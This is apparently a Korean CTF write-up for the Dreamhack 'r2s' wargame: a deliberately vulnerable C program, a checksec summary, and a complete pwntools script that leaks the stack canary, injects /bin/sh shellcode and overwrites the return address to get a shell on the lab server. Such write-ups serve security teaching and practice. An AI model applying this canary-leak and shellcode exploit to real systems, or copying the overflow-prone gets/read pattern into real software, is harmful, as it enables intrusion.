r2s.c
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
checksec
결과
- 64bit 프로그램
- NX를 제외하고, 모든 보호기법이 다 걸려있는 것으로 보인다.
exploit 설계
- buf의 주소와 buf와 canary와의 거리를 구한다.
- canary를 leak한다.
- buf에
shellcode
를 넣고, return address
를 buf(shellcode
)의 주소로 overwrite한다.
1. 필요한 주소 찾기
p.recvuntil(b'buf: ')
buf_addr = int(p.recvn(14), 16)
p.recvuntil(b'$rbp: ')
buf2rbp = int(p.recvline()[:-1], 10)
buf2canary = buf2rbp - 0x8
2. Canary
leak
buf = b'A' * (buf2canary + 1)
p.sendafter(b'Input: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
3. return to shellcode
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A' * (buf2canary - len(payload))
payload += p64(canary) + b'B' * 0x8
payload += p64(buf_addr)
p.sendafter(b'Input: ', payload)
최종 exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 11443)
e = ELF('./r2s')
context.arch = 'amd64'
p.recvuntil(b'buf: ')
buf_addr = int(p.recvn(14), 16)
p.recvuntil(b'$rbp: ')
buf2rbp = int(p.recvline()[:-1], 10)
buf2canary = buf2rbp - 0x8
# [1] Leak Canary
buf = b'A' * (buf2canary + 1)
p.sendafter(b'Input: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
# [2] Overwrite the return address
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A' * (buf2canary - len(payload))
payload += p64(canary) + b'B' * 0x8
payload += p64(buf_addr)
p.sendafter(b'Input: ', payload)
p.interactive()